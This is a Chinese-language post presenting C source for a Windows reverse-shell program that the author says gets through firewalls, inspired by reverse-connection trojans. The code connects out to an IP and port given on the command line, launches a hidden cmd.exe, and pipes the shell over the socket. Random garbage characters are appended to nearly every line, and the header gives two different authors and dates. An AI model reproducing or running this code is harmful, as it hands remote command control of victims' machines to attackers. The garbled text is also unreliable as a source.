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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 `_)H aF>/  
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/* ============================== %jy$4qAf%  
Rebound port in Windows NT ^h$*7u"^y  
By wind,2006/7 ]t~.?)Ad+2  
===============================*/ mjWU0.  
#include \Q(a`6U  
#include Lv]%P.=[G  
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#pragma comment(lib,"wsock32.lib") Qy0w'L/@  
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void OutputShell(); o+&Om~W  
SOCKET sClient; JR#4{P@A  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; j :B/ FL  
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void main(int argc,char **argv) 4qp|g'uXT  
{ G(.G>8pf  
WSADATA stWsaData; Ba8=nGa4KY  
int nRet;  Q&xH  
SOCKADDR_IN stSaiClient,stSaiServer; WM?-BIlT=  
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if(argc != 3) - [h[  
{ #i@f%Bq-  
printf("Useage:\n\rRebound DestIP DestPort\n"); TDDMx |{  
return; yy=hCjQ)  
} $ mE* =  
4h@,hY1#  
WSAStartup(MAKEWORD(2,2),&stWsaData); !(F?`([A  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (O4oI U  
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stSaiClient.sin_family = AF_INET; qWheoyAB  
stSaiClient.sin_port = htons(0); k\ .9iI'6  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 17Cb{Q  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) u6Gqg(7hw  
{ FHQ`T\fC$@  
printf("Bind Socket Failed!\n"); Au'y(KB  
return; %rG4X  
} cyJ{AS+  
vvv'!\'#  
stSaiServer.sin_family = AF_INET; v,ZYh w  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); d-B+s%>D  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); m6mGcbpn  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) jeWv~JA%L|  
{ &|{1Ws  
printf("Connect Error!"); cl4z%qv*  
return; {73V?#P4  
} ^#<L!yo^  
OutputShell(); bpwA|H%{M  
} rgzra"u)  
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void OutputShell() XqmB%g(  
{ ,~naKd.ZY  
char szBuff[1024]; F]yB=  
SECURITY_ATTRIBUTES stSecurityAttributes; 49Jnp>h  
OSVERSIONINFO stOsversionInfo; o@zxzZWg  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Pj <U|\-?  
STARTUPINFO stStartupInfo; cZxY,UvYa  
char *szShell; \uOM,98xS  
PROCESS_INFORMATION stProcessInformation; AhN3~/u%7  
unsigned long lBytesRead; >;I8w(  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); :,0(aB  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ?"9h-g3`x}  
stSecurityAttributes.lpSecurityDescriptor = 0; !{.CGpS ]  
stSecurityAttributes.bInheritHandle = TRUE; nU>P%|loXx  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); '%rT]u3U  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {oqbV#/&  
{h+8^   
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); VhkM{O  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %i9 e<.Ot  
stStartupInfo.wShowWindow = SW_HIDE; FYYc+6n  
stStartupInfo.hStdInput = hReadPipe; l e'RU1k  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; H:c5 q0O^x  
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GetVersionEx(&stOsversionInfo); WY!\^| ,  
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switch(stOsversionInfo.dwPlatformId) O%T?+1E  
{ &|k=mxox\  
case 1: ^y/Es2A#t  
szShell = "command.com"; M 5sk&>  
break; z,TH}s6  
default: 0P5VbDv$r7  
szShell = "cmd.exe"; w{W+WJ  
break; !{jw!bB  
} TRm#H $  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); d-~V.  
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send(sClient,szMsg,77,0); n= <c_a)Nb  
while(1) eyMn! a  
{ ;_bRq:!j;  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); /qIQE&V-  
if(lBytesRead) PeIx41. +s  
{ Mr)t>4  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 64?HqO 6(  
send(sClient,szBuff,lBytesRead,0); S.!,qv z  
} .2E/(VM  
else 0zH-g  
{ R2Tt6  
lBytesRead=recv(sClient,szBuff,1024,0); ^!\1q<@n  
if(lBytesRead<=0) break; #"UO`2~`l  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); wG,"X'1  
} MR1I"gqE}I  
} |E1U$,s~u  
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return; QOXo(S  
}
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